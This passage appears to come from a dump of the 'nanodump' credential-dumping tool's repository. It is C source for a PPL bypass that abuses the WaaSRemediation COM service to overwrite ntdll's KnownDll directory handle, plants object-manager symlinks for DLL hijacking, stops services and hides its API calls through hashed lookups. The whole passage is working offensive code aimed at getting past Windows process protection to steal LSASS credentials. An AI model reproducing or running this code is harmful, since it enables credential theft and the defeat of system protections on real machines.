ntdll!LdrpKnownDllDirectoryHandle-1\n        *WriteAtLaunchRemediationOnly = (DWORD64)(ULONG_PTR)BaseAddress - 7; // Write 00 00 00 00 @ LdrpKnownDllDirectoryHandle+1\n        return TRUE;\n    }\n\n    return FALSE;\n}\n\nDWORD WINAPI write_remote_dll_search_path_flag_thread(LPVOID Parameter)\n{\n    PWRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM WriteParams = (PWRITE_REMOTE_DLL_SEARCH_PATH_FLAG_PARAM)Parameter;\n    HRESULT hr;\n\n    hr = invoke_launch_remediation_only(\n        WriteParams->WaaSRemediationEx,\n        WriteParams->DispIdLaunchRemediationOnly,\n        WriteParams->Plugins,\n        WriteParams->CallerApplicationName,\n        WriteParams->WriteAt);\n\n    if (FAILED(hr))\n    {\n        DPRINT_ERR(\"LaunchRemediationOnly(0x%p): 0x%08lx\", (PVOID)WriteParams->WriteAt, hr);\n        return (DWORD)hr;\n    }\n\n    return ERROR_SUCCESS;\n}\n\nBOOL find_combase_dll_search_flag_address(\n    IN PULONG_PTR Address)\n{\n    BOOL      ret_val                     = FALSE;\n    BOOL      success                     = FALSE;\n    HMODULE   hCombaseModule              = NULL;\n    ULONG_PTR pCombaseTextSection         = 0;\n    ULONG_PTR pCombaseDataSection         = 0;\n    ULONG_PTR pCombaseDataSectionLimit    = 0;\n    ULONG_PTR pPatternAddress             = 0;\n    ULONG_PTR pPatternAddress2            = 0;\n    DWORD     dwCombaseTextSectionSize    = 0;\n    DWORD     dwCombaseDataSectionSize    = 0;\n    DWORD     dwPatternOffset             = 0;\n    DWORD     i                           = 0;\n    BYTE      bPattern[]                  = { 0x01, 0x00, 0x13, 0x00 };\n    DWORD     dwRipRelativeOffsetForward  = 0;\n    DWORD     dwRipRelativeOffsetBackward = 0;\n    ULONG_PTR pCandidateAddressTemp       = 0;\n    ULONG_PTR pCandidateAddressForward    = 0;\n    ULONG_PTR pCandidateAddressBackward   = 0;\n\n    LoadLibraryW_t LoadLibraryW = NULL;\n\n    *Address = 0;\n\n    LoadLibraryW = (LoadLibraryW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        LoadLibraryW_SW2_HASH,\n        0);\n    if (!LoadLibraryW)\n    {\n        api_not_found(\"LoadLibraryW\");\n        goto cleanup;\n    }\n\n    hCombaseModule = LoadLibraryW(STR_MOD_COMBASE);\n    if (!hCombaseModule)\n    {\n        function_failed(\"LoadLibraryW\");\n        goto cleanup;\n    }\n    success = find_module_section(hCombaseModule, \".text\", &pCombaseTextSection, &dwCombaseTextSectionSize);\n    if (!success)\n        goto cleanup;\n\n    success = find_module_section(hCombaseModule, \".data\", &pCombaseDataSection, &dwCombaseDataSectionSize);\n    if (!success)\n        goto cleanup;\n\n    success = find_module_pattern(bPattern, sizeof(bPattern), pCombaseTextSection, dwCombaseTextSectionSize, &pPatternAddress);\n    if (!success)\n        goto cleanup;\n\n    //\n    // Ensure that the pattern is unique. We search for the pattern once again starting at offset + 1 until\n    // we reach the end of the .text section. If we find another occurrence, we should exit safely.\n    //\n\n    success = find_module_pattern(bPattern, sizeof(bPattern), pCombaseTextSection + dwPatternOffset + 1, dwCombaseTextSectionSize - dwPatternOffset - 1, &pPatternAddress2);\n    if (!success)\n        goto cleanup;\n\n    dwPatternOffset = (DWORD)(pPatternAddress - (ULONG_PTR)hCombaseModule);\n\n    //\n    // Now that we found the offset of our pattern in the code, we can start searching forward and backward for\n    // valid RIP-relative offsets. We consider that a RIP-relative offset is 'valid' when the value corresponding\n    // to the sum of RIP and this offset falls within the .data section. We do the search both forward and \n    // backward and compare the obtained values at the end. If the values are not equal, we should exit safely.\n    //\n\n    pCombaseDataSectionLimit = pCombaseDataSection + dwCombaseDataSectionSize;\n\n    for (i = 0; i < 32; i++)\n    {\n        memcpy(&dwRipRelativeOffsetForward, (PVOID)(pPatternAddress + i), sizeof(dwRipRelativeOffsetForward));\n        pCandidateAddressTemp = pPatternAddress + i + sizeof(dwRipRelativeOffsetForward) + dwRipRelativeOffsetForward;\n        if (pCandidateAddressTemp >= pCombaseDataSection && pCandidateAddressTemp < pCombaseDataSectionLimit)\n        {\n            pCandidateAddressForward = pCandidateAddressTemp;\n            DPRINT(\"Found forward candidate:  0x%p\", (PVOID)pCandidateAddressForward);\n        }\n\n        memcpy(&dwRipRelativeOffsetBackward, (PVOID)(pPatternAddress - sizeof(bPattern) - i), sizeof(dwRipRelativeOffsetBackward));\n        pCandidateAddressTemp = pPatternAddress - sizeof(bPattern) - i + sizeof(dwRipRelativeOffsetBackward) + dwRipRelativeOffsetBackward;\n        if (pCandidateAddressTemp >= pCombaseDataSection && pCandidateAddressTemp < pCombaseDataSectionLimit)\n        {\n            pCandidateAddressBackward = pCandidateAddressTemp;\n            DPRINT(\"Found backward candidate: 0x%p\", (PVOID)pCandidateAddressBackward);\n        }\n    }\n\n    if (!pCandidateAddressForward || !pCandidateAddressBackward)\n        goto cleanup;\n\n    if (pCandidateAddressForward != pCandidateAddressBackward)\n        goto cleanup;\n\n    *Address = pCandidateAddressForward;\n    ret_val = TRUE;\n\ncleanup:\n    if (ret_val)\n    {\n        DPRINT(\"DLL search path flag address: 0x%p\", (PVOID)*Address);\n    }\n\n    return ret_val;\n}\n\nDWORD WINAPI write_remote_known_dll_handle_thread(LPVOID Parameter)\n{\n    PWRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM WriteParams = (PWRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM)Parameter;\n    HRESULT                              hr          = 0;\n\n    hr = invoke_launch_detection_only(\n        WriteParams->WaaSRemediationEx,\n        WriteParams->DispIdLaunchDetectionOnly,\n        WriteParams->CallerApplicationName,\n        WriteParams->WriteAtLaunchDetectionOnly);\n\n    if (FAILED(hr))\n    {\n        DPRINT(\"LaunchDetectionOnly(0x%p): 0x%08lx\", (PVOID)WriteParams->WriteAtLaunchDetectionOnly, hr);\n        return (DWORD)hr;\n    }\n\n    hr = invoke_launch_remediation_only(\n        WriteParams->WaaSRemediationEx,\n        WriteParams->DispIdLaunchRemediationOnly,\n        WriteParams->Plugins,\n        WriteParams->CallerApplicationName,\n        WriteParams->WriteAtLaunchRemediationOnly);\n\n    if (FAILED(hr))\n    {\n        DPRINT(\"LaunchRemediationOnly(0x%p): 0x%08lx\", (PVOID)WriteParams->WriteAtLaunchRemediationOnly, hr);\n        return (DWORD)hr;\n    }\n\n    if (WriteParams->Strategy == EXPLOIT_STRATEGY_EXTRACT_BYTE_AT_INDEX_0)\n    {\n        hr = invoke_launch_remediation_only(\n            WriteParams->WaaSRemediationEx,\n            WriteParams->DispIdLaunchRemediationOnly,\n            WriteParams->Plugins,\n            WriteParams->CallerApplicationName,\n            WriteParams->WriteAtLaunchRemediationOnly + 1);\n\n        if (FAILED(hr))\n        {\n            DPRINT(\"LaunchRemediationOnly(0x%p): 0x%08lx\", (PVOID)WriteParams->WriteAtLaunchRemediationOnly, hr);\n            return (DWORD)hr;\n        }\n    }\n\n    return ERROR_SUCCESS;\n}\n\nBOOL write_remote_known_dll_handle(\n    IN PIWaaSRemediationEx IWaaSRemediationEx,\n    IN LONG TargetValue,\n    IN DISPID DispIdLaunchDetectionOnly,\n    IN DISPID DispIdLaunchRemediationOnly,\n    IN DWORD64 WriteAtLaunchDetectionOnly,\n    IN DWORD64 WriteAtLaunchRemediationOnly)\n{\n    BOOL                                ret_val          = FALSE;\n    BOOL                                success          = FALSE;\n    WRITE_REMOTE_KNOWN_DLL_HANDLE_PARAM WriteParams      = { 0 };\n    DWORD                               dwThreadId       = 0;\n    DWORD                               dwThreadExitCode = ERROR_SUCCESS;\n    HANDLE                              hThread          = NULL;\n\n    CoCancelCall_t        CoCancelCall        = NULL;\n    SysAllocString_t      SysAllocString      = NULL;\n    CreateThread_t        CreateThread        = NULL;\n    GetExitCodeThread_t   GetExitCodeThread   = NULL;\n    WaitForSingleObject_t WaitForSingleObject = NULL;\n\n    SysAllocString = (SysAllocString_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLEAUT32_DLL, TRUE),\n        SysAllocString_SW2_HASH,\n        0);\n    if (!SysAllocString)\n    {\n        api_not_found(\"SysAllocString\");\n        goto cleanup;\n    }\n\n    CoCancelCall = (CoCancelCall_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLE32_DLL, TRUE),\n        CoCancelCall_SW2_HASH,\n        0);\n    if (!CoCancelCall)\n    {\n        api_not_found(\"CoCancelCall\");\n        goto cleanup;\n    }\n\n    CreateThread = (CreateThread_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateThread_SW2_HASH,\n        0);\n    if (!CreateThread)\n    {\n        api_not_found(\"CreateThread\");\n        goto cleanup;\n    }\n\n    GetExitCodeThread = (GetExitCodeThread_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetExitCodeThread_SW2_HASH,\n        0);\n    if (!GetExitCodeThread)\n    {\n        api_not_found(\"GetExitCodeThread\");\n        goto cleanup;\n    }\n\n    WaitForSingleObject = (WaitForSingleObject_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        WaitForSingleObject_SW2_HASH,\n        0);\n    if (!WaitForSingleObject)\n    {\n        api_not_found(\"WaitForSingleObject\");\n        goto cleanup;\n    }\n\n    memset(&WriteParams, 0, sizeof(WriteParams));\n    WriteParams.CallerApplicationName        = SysAllocString(L\"\");\n    WriteParams.Plugins                      = SysAllocString(L\"\");\n    WriteParams.DispIdLaunchDetectionOnly    = DispIdLaunchDetectionOnly;\n    WriteParams.DispIdLaunchRemediationOnly  = DispIdLaunchRemediationOnly;\n    WriteParams.Strategy                     = get_strategy(TargetValue);\n    WriteParams.WaaSRemediationEx            = IWaaSRemediationEx;\n    WriteParams.WriteAtLaunchDetectionOnly   = WriteAtLaunchDetectionOnly;\n    WriteParams.WriteAtLaunchRemediationOnly = WriteAtLaunchRemediationOnly;\n\n    hThread = CreateThread(NULL, 0, write_remote_known_dll_handle_thread, &WriteParams, 0, &dwThreadId);\n    if (!hThread)\n    {\n        function_failed(\"CreateThread\");\n        goto cleanup;\n    }\n\n    if (WaitForSingleObject(hThread, TIMEOUT) != WAIT_OBJECT_0)\n    {\n        DPRINT(\"Thread with ID %ld is taking too long, cancelling...\", dwThreadId);\n        CoCancelCall(dwThreadId, TIMEOUT);\n        goto cleanup;\n    }\n\n    success = GetExitCodeThread(hThread, &dwThreadExitCode);\n    if (!success)\n        goto cleanup;\n\n    if (dwThreadExitCode != ERROR_SUCCESS)\n        goto cleanup;\n\n    ret_val = TRUE;\n\ncleanup:\n    safe_close_handle(&hThread);\n\n    if (!ret_val)\n    {\n        PRINT_ERR(\"Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x%08lx).\", dwThreadExitCode);\n    }\n\n    return ret_val;\n\n}\n\nDWORD WINAPI create_task_handler_instance_thread(LPVOID Parameter)\n{\n    PITaskHandler pTaskHandler          = NULL;\n    HRESULT       hr                    = E_FAIL;\n    CLSID         CLSID_WaaSRemediation = CLSID_WAASREMEDIATION;\n    IID           IID_TaskHandler       = IID_TASKHANDLER;\n\n    CoCreateInstance_t CoCreateInstance = NULL;\n\n    CoCreateInstance = (CoCreateInstance_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLE32_DLL, TRUE),\n        CoCreateInstance_SW2_HASH,\n        0);\n    if (!CoCreateInstance)\n    {\n        api_not_found(\"CoCreateInstance\");\n        goto cleanup;\n    }\n\n    hr = CoCreateInstance(\n        &CLSID_WaaSRemediation,\n        NULL,\n        CLSCTX_LOCAL_SERVER,\n        &IID_TaskHandler,\n        (LPVOID *)&pTaskHandler);\n    if (SUCCEEDED(hr))\n    {\n        ITaskHandler_Release(pTaskHandler);\n    }\n\ncleanup:\n    return (DWORD)hr;\n}\n\nBOOL create_task_handler_instance()\n{\n    BOOL    ret_val    = FALSE;\n    HANDLE  hThread    = NULL;\n    DWORD   dwThreadId = 0;\n\n    CoCancelCall_t        CoCancelCall         = NULL;\n    CreateThread_t        CreateThread         = NULL;\n    WaitForSingleObject_t WaitForSingleObject  = NULL;\n\n    CoCancelCall = (CoCancelCall_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLE32_DLL, TRUE),\n        CoCancelCall_SW2_HASH,\n        0);\n    if (!CoCancelCall)\n    {\n        api_not_found(\"CoCancelCall\");\n        goto cleanup;\n    }\n\n    CreateThread = (CreateThread_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateThread_SW2_HASH,\n        0);\n    if (!CreateThread)\n    {\n        api_not_found(\"CreateThread\");\n        goto cleanup;\n    }\n\n    WaitForSingleObject = (WaitForSingleObject_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        WaitForSingleObject_SW2_HASH,\n        0);\n    if (!WaitForSingleObject)\n    {\n        api_not_found(\"WaitForSingleObject\");\n        goto cleanup;\n    }\n\n    hThread = CreateThread(NULL, 0, create_task_handler_instance_thread, NULL, 0, &dwThreadId);\n    if (!hThread)\n        goto cleanup;\n\n    if (WaitForSingleObject(hThread, TIMEOUT) != WAIT_OBJECT_0)\n    {\n        DPRINT(\"Thread with ID %ld is taking too long, cancelling...\", dwThreadId);\n        CoCancelCall(dwThreadId, TIMEOUT);\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    safe_close_handle(&hThread);\n\n    if (!ret_val)\n    {\n        DPRINT_ERR(\"Unexpected error or timeout while trying to create a remote TaskHandler instance.\");\n    }\n\n    return ret_val;\n}\n\nBOOL release_client(\n    IN PIWaaSRemediationEx IWaaSRemediationEx)\n{\n    BOOL ret_val = FALSE;\n\n    CoDisableCallCancellation_t CoDisableCallCancellation = NULL;\n    CoUninitialize_t            CoUninitialize            = NULL;\n\n    CoDisableCallCancellation = (CoDisableCallCancellation_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLE32_DLL, TRUE),\n        CoDisableCallCancellation_SW2_HASH,\n        0);\n    if (!CoDisableCallCancellation)\n    {\n        api_not_found(\"CoDisableCallCancellation\");\n        goto cleanup;\n    }\n\n    CoUninitialize = (CoUninitialize_t)(ULONG_PTR)get_function_address(\n        get_library_address(OLE32_DLL, TRUE),\n        CoUninitialize_SW2_HASH,\n        0);\n    if (!CoUninitialize)\n    {\n        api_not_found(\"CoUninitialize\");\n        goto cleanup;\n    }\n\n    IWaaSRemediationEx_Release(IWaaSRemediationEx);\n    CoDisableCallCancellation(NULL);\n    CoUninitialize();\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/ppl/ppl_medic_dll.c",
    "content": "#include \"ppl/ppl_medic_dll.h\"\n\nBOOL signal_dll_load_event(\n    IN LPWSTR event_name)\n{\n    BOOL   ret_val       = FALSE;\n    BOOL   success       = FALSE;\n    HANDLE hEvent        = NULL;\n    LPWSTR pwszEventName = NULL;\n\n    OpenEventW_t OpenEventW = NULL;\n    SetEvent_t   SetEvent   = NULL;\n\n    OpenEventW = (OpenEventW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        OpenEventW_SW2_HASH,\n        0);\n    if (!OpenEventW)\n    {\n        api_not_found(\"OpenEventW\");\n        goto cleanup;\n    }\n\n    SetEvent = (SetEvent_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        SetEvent_SW2_HASH,\n        0);\n    if (!SetEvent)\n    {\n        api_not_found(\"SetEvent\");\n        goto cleanup;\n    }\n\n    pwszEventName = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszEventName)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    swprintf_s(pwszEventName, MAX_PATH, L\"Global\\\\%ws\", event_name);\n\n    hEvent = OpenEventW(EVENT_MODIFY_STATE, FALSE, pwszEventName);\n    if (!hEvent)\n    {\n        function_failed(\"OpenEventW\");\n        goto cleanup;\n    }\n\n    success = SetEvent(hEvent);\n    if (!success)\n    {\n        function_failed(\"SetEvent\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    if (hEvent)\n        NtClose(hEvent);\n    if (pwszEventName)\n        intFree(pwszEventName);\n\n    return ret_val;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/ppl/ppl_utils.c",
    "content": "#include \"ppl/ppl_utils.h\"\n\nBOOL is_win_6_point_3_or_grater(VOID)\n{\n    PVOID pPeb;\n    ULONG32 OSMajorVersion;\n    ULONG32 OSMinorVersion;\n\n    pPeb = (PVOID)READ_MEMLOC(PEB_OFFSET);\n    OSMajorVersion = *RVA(PULONG32, pPeb, OSMAJORVERSION_OFFSET);\n    OSMinorVersion = *RVA(PULONG32, pPeb, OSMINORVERSION_OFFSET);\n\n    if (OSMajorVersion > 6)\n        return TRUE;\n\n    if (OSMajorVersion < 6)\n        return FALSE;\n\n    if (OSMinorVersion >= 3)\n        return TRUE;\n\n    return FALSE;\n}\n\nBOOL is_win_10_or_grater(VOID)\n{\n    PVOID pPeb;\n    ULONG32 OSMajorVersion;\n\n    pPeb = (PVOID)READ_MEMLOC(PEB_OFFSET);\n    OSMajorVersion = *RVA(PULONG32, pPeb, OSMAJORVERSION_OFFSET);\n\n    if (OSMajorVersion >= 10)\n        return TRUE;\n\n    return FALSE;\n}\n\nBOOL object_manager_create_directory(\n    IN LPWSTR dirname,\n    OUT PHANDLE phDirectory)\n{\n    OBJECT_ATTRIBUTES oa = { 0 };\n    UNICODE_STRING name = { 0 };\n    NTSTATUS status = 0;\n\n    *phDirectory = NULL;\n\n    name.Buffer  = dirname;\n    name.Length  = (USHORT)wcsnlen(name.Buffer, MAX_PATH);;\n    name.Length *= 2;\n    name.MaximumLength = name.Length + 2;\n    InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n    status = NtCreateDirectoryObjectEx(\n        phDirectory,\n        DIRECTORY_ALL_ACCESS,\n        &oa,\n        NULL,\n        FALSE);\n    // if we get STATUS_OBJECT_NAME_COLLISION, assume is already created\n    if (status != STATUS_OBJECT_NAME_COLLISION && !NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateDirectoryObjectEx\", status);\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL object_manager_create_symlik(\n    IN LPWSTR linkname,\n    IN LPWSTR targetname,\n    OUT PHANDLE phLink)\n{\n    OBJECT_ATTRIBUTES oa = { 0 };\n    UNICODE_STRING name = { 0 };\n    UNICODE_STRING target = { 0 };\n    NTSTATUS status;\n\n    *phLink = NULL;\n\n    name.Buffer  = linkname;\n    name.Length  = (USHORT)wcsnlen(name.Buffer, MAX_PATH);;\n    name.Length *= 2;\n    name.MaximumLength = name.Length + 2;\n\n    target.Buffer  = targetname;\n    target.Length  = (USHORT)wcsnlen(target.Buffer, MAX_PATH);;\n    target.Length *= 2;\n    target.MaximumLength = target.Length + 2;\n\n    InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n    status = NtCreateSymbolicLinkObject(\n        phLink,\n        SYMBOLIC_LINK_ALL_ACCESS,\n        &oa,\n        &target);\n    // if we get STATUS_OBJECT_NAME_COLLISION, assume is already created\n    if (status != STATUS_OBJECT_NAME_COLLISION && !NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateSymbolicLinkObject\", status);\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL check_known_dll_symbolic_link(\n    IN LPCWSTR pwszDllName,\n    IN LPWSTR pwszTarget)\n{\n    BOOL bReturnValue = FALSE;\n    NTSTATUS status = 0;\n    LPWSTR pwszLinkName = NULL;\n    OBJECT_ATTRIBUTES oa = { 0 };\n    UNICODE_STRING name = { 0 };\n    UNICODE_STRING target = { 0 };\n    LPWSTR pwszTargetLocal = NULL;\n    HANDLE hLink = NULL;\n    ULONG length = 0;\n\n    pwszLinkName = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszLinkName)\n    {\n        malloc_failed();\n        goto end;\n    }\n\n    pwszTargetLocal = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszTargetLocal)\n    {\n        malloc_failed();\n        goto end;\n    }\n\n    wcsncpy(pwszLinkName, L\"\\\\KnownDlls\\\\\", MAX_PATH);\n    wcsncat(pwszLinkName, pwszDllName, MAX_PATH);\n\n    name.Buffer  = pwszLinkName;\n    name.Length  = (USHORT)wcsnlen(name.Buffer, MAX_PATH);;\n    name.Length *= 2;\n    name.MaximumLength = name.Length + 2;\n    InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n    status = NtOpenSymbolicLinkObject(\n        &hLink,\n        SYMBOLIC_LINK_QUERY,\n        &oa);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtOpenSymbolicLinkObject\", status);\n        goto end;\n    }\n\n    target.Buffer = pwszTargetLocal;\n    target.Length = 0;\n    target.MaximumLength = (MAX_PATH + 1) * sizeof(WCHAR);\n\n    status = NtQuerySymbolicLinkObject(\n        hLink,\n        &target,\n        &length);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQuerySymbolicLinkObject\", status);\n        goto end;\n    }\n\n    bReturnValue = _wcsicmp(target.Buffer, pwszTarget) == 0;\n\nend:\n    if (pwszLinkName)\n    {\n        DATA_FREE(pwszLinkName, wcslen(pwszLinkName) * sizeof(WCHAR));\n    }\n    if (pwszTargetLocal)\n    {\n        DATA_FREE(pwszTargetLocal, wcslen(pwszTargetLocal) * sizeof(WCHAR));\n    }\n    if (hLink)\n        NtClose(hLink);\n\n    return bReturnValue;\n}\n\nBOOL get_file_size(\n    IN HANDLE hFile,\n    OUT PDWORD file_size)\n{\n    NTSTATUS status;\n    IO_STATUS_BLOCK IoStatusBlock;\n    FILE_STANDARD_INFORMATION fsi = { 0 };\n\n    if (!hFile)\n        return FALSE;\n\n    status = NtQueryInformationFile(\n        hFile,\n        &IoStatusBlock,\n        &fsi,\n        sizeof(FILE_STANDARD_INFORMATION),\n        FileStandardInformation);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQueryInformationFile\", status);\n        return FALSE;\n    }\n\n    // TODO: get the full QuadPart?\n    *file_size = fsi.AllocationSize.LowPart;\n\n    return TRUE;\n}\n\nBOOL query_service_status_process_by_handle(\n    IN SC_HANDLE ServiceHandle,\n    IN OUT LPSERVICE_STATUS_PROCESS ServiceStatus)\n{\n    BOOL  ret_val       = FALSE;\n    BOOL  success       = FALSE;\n    DWORD dwBytesNeeded = 0;\n\n    QueryServiceStatusEx_t QueryServiceStatusEx = NULL;\n\n    QueryServiceStatusEx = (QueryServiceStatusEx_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        QueryServiceStatusEx_SW2_HASH,\n        0);\n    if (!QueryServiceStatusEx)\n    {\n        api_not_found(\"QueryServiceStatusEx\");\n        goto cleanup;\n    }\n\n    memset(ServiceStatus, 0, sizeof(*ServiceStatus));\n\n    success = QueryServiceStatusEx(\n        ServiceHandle,\n        SC_STATUS_PROCESS_INFO,\n        (LPBYTE)ServiceStatus,\n        sizeof(*ServiceStatus),\n        &dwBytesNeeded);\n    if (!success)\n    {\n        function_failed(\"QueryServiceStatusEx\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\nBOOL get_service_handle(\n    IN LPCWSTR ServiceName,\n    IN DWORD DesiredAccess,\n    OUT LPSC_HANDLE ServiceHandle)\n{\n    BOOL                 ret_val            = FALSE;\n    SC_HANDLE            hSCM               = NULL;\n    OpenSCManagerW_t     OpenSCManagerW     = NULL;\n    OpenServiceW_t       OpenServiceW       = NULL;\n    CloseServiceHandle_t CloseServiceHandle = NULL;\n\n    OpenSCManagerW = (OpenSCManagerW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        OpenSCManagerW_SW2_HASH,\n        0);\n    if (!OpenSCManagerW)\n    {\n        api_not_found(\"OpenSCManagerW\");\n        goto cleanup;\n    }\n\n    OpenServiceW = (OpenServiceW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        OpenServiceW_SW2_HASH,\n        0);\n    if (!OpenServiceW)\n    {\n        api_not_found(\"OpenServiceW\");\n        goto cleanup;\n    }\n\n    CloseServiceHandle = (CloseServiceHandle_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        CloseServiceHandle_SW2_HASH,\n        0);\n    if (!CloseServiceHandle)\n    {\n        api_not_found(\"CloseServiceHandle\");\n        goto cleanup;\n    }\n\n    *ServiceHandle = NULL;\n\n    hSCM = OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASEW, SC_MANAGER_CONNECT);\n    if (!hSCM)\n    {\n        function_failed(\"OpenSCManagerW\");\n        goto cleanup;\n    }\n\n    *ServiceHandle = OpenServiceW(hSCM, ServiceName, DesiredAccess);\n    if (!*ServiceHandle)\n    {\n        function_failed(\"OpenSCManagerW\");\n        goto cleanup;\n    }\n    \n    ret_val = TRUE;\n\ncleanup:\n    if (hSCM)\n        CloseServiceHandle(hSCM);\n\n    return ret_val;\n}\n\nBOOL query_service_status_process_by_name(\n    IN LPCWSTR ServiceName,\n    IN OUT LPSERVICE_STATUS_PROCESS ServiceStatus)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n    SC_HANDLE hService = NULL;\n\n    CloseServiceHandle_t CloseServiceHandle = NULL;\n\n    CloseServiceHandle = (CloseServiceHandle_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        CloseServiceHandle_SW2_HASH,\n        0);\n    if (!CloseServiceHandle)\n    {\n        api_not_found(\"CloseServiceHandle\");\n        goto cleanup;\n    }\n\n    success = get_service_handle(ServiceName, SERVICE_QUERY_STATUS, &hService);\n    if (!success)\n        goto cleanup;\n\n    success = query_service_status_process_by_handle(hService, ServiceStatus);\n    if (!success)\n        goto cleanup;\n\n    ret_val = TRUE;\n\ncleanup:\n    if (hService) CloseServiceHandle(hService);\n\n    return ret_val;\n}\n\nBOOL get_service_status_by_name(\n    IN LPCWSTR ServiceName,\n    OUT LPDWORD Status)\n{\n    BOOL ret_val = FALSE;\n    SERVICE_STATUS_PROCESS ssp;\n\n    *Status = 0;\n\n    ret_val = query_service_status_process_by_name(ServiceName, &ssp);\n    *Status = ssp.dwCurrentState;\n\n    if (ret_val)\n    {\n        DPRINT(\"State of service with name '%ls': %ld\", ServiceName, *Status);\n    }\n\n    return ret_val;\n}\n\n// https://docs.microsoft.com/en-us/windows/win32/services/stopping-a-service\nBOOL stop_service_by_name(\n    IN LPCWSTR ServiceName,\n    IN BOOL Wait)\n{\n    BOOL                   ret_val        = FALSE;\n    BOOL                   success        = FALSE;\n    SC_HANDLE              hService       = NULL;\n    SERVICE_STATUS_PROCESS ssp            = { 0 };\n    DWORD64                dwStartTime    = 0;\n    DWORD                  dwWaitTime     = 0;\n\n    GetTickCount64_t     GetTickCount64     = NULL;\n    ControlService_t     ControlService     = NULL;\n    Sleep_t              Sleep              = NULL;\n    CloseServiceHandle_t CloseServiceHandle = NULL;\n\n    GetTickCount64 = (GetTickCount64_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetTickCount64_SW2_HASH,\n        0);\n    if (!GetTickCount64)\n    {\n        api_not_found(\"GetTickCount64\");\n        goto cleanup;\n    }\n\n    ControlService = (ControlService_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        ControlService_SW2_HASH,\n        0);\n    if (!ControlService)\n    {\n        api_not_found(\"ControlService\");\n        goto cleanup;\n    }\n\n    Sleep = (Sleep_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        Sleep_SW2_HASH,\n        0);\n    if (!Sleep)\n    {\n        api_not_found(\"Sleep\");\n        goto cleanup;\n    }\n\n    CloseServiceHandle = (CloseServiceHandle_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        CloseServiceHandle_SW2_HASH,\n        0);\n    if (!CloseServiceHandle)\n    {\n        api_not_found(\"CloseServiceHandle\");\n        goto cleanup;\n    }\n\n    dwStartTime = GetTickCount64();\n\n    success = get_service_handle(ServiceName, SERVICE_QUERY_STATUS | SERVICE_STOP, &hService);\n    if (!success)\n        goto cleanup;\n\n    success = ControlService(hService, SERVICE_CONTROL_STOP, (LPSERVICE_STATUS)&ssp);\n    if (!success)\n        goto cleanup;\n\n    success = query_service_status_process_by_handle(hService, &ssp);\n    if (!success)\n        goto cleanup;\n\n    if (Wait)\n    {\n        DPRINT(\"Stopping service %ls...\", ServiceName);\n\n        while (ssp.dwCurrentState != SERVICE_STOPPED)\n        {\n            dwWaitTime = ssp.dwWaitHint / 10;\n\n            if (dwWaitTime < 1000)\n                dwWaitTime = 1000;\n            else if (dwWaitTime > 10000)\n                dwWaitTime = 10000;\n\n            Sleep(dwWaitTime);\n\n            if (!query_service_status_process_by_handle(hService, &ssp))\n                break;\n\n            if (GetTickCount64() - dwStartTime > TIMEOUT)\n            {\n                break;\n            }\n        }\n\n        ret_val = ssp.dwCurrentState == SERVICE_STOPPED;\n    }\n    else\n    {\n        ret_val = TRUE;\n    }\n\ncleanup:\n    if (hService) CloseServiceHandle(hService);\n\n    if (!ret_val)\n        DPRINT_ERR(\"Failed to stop service %ls.\", 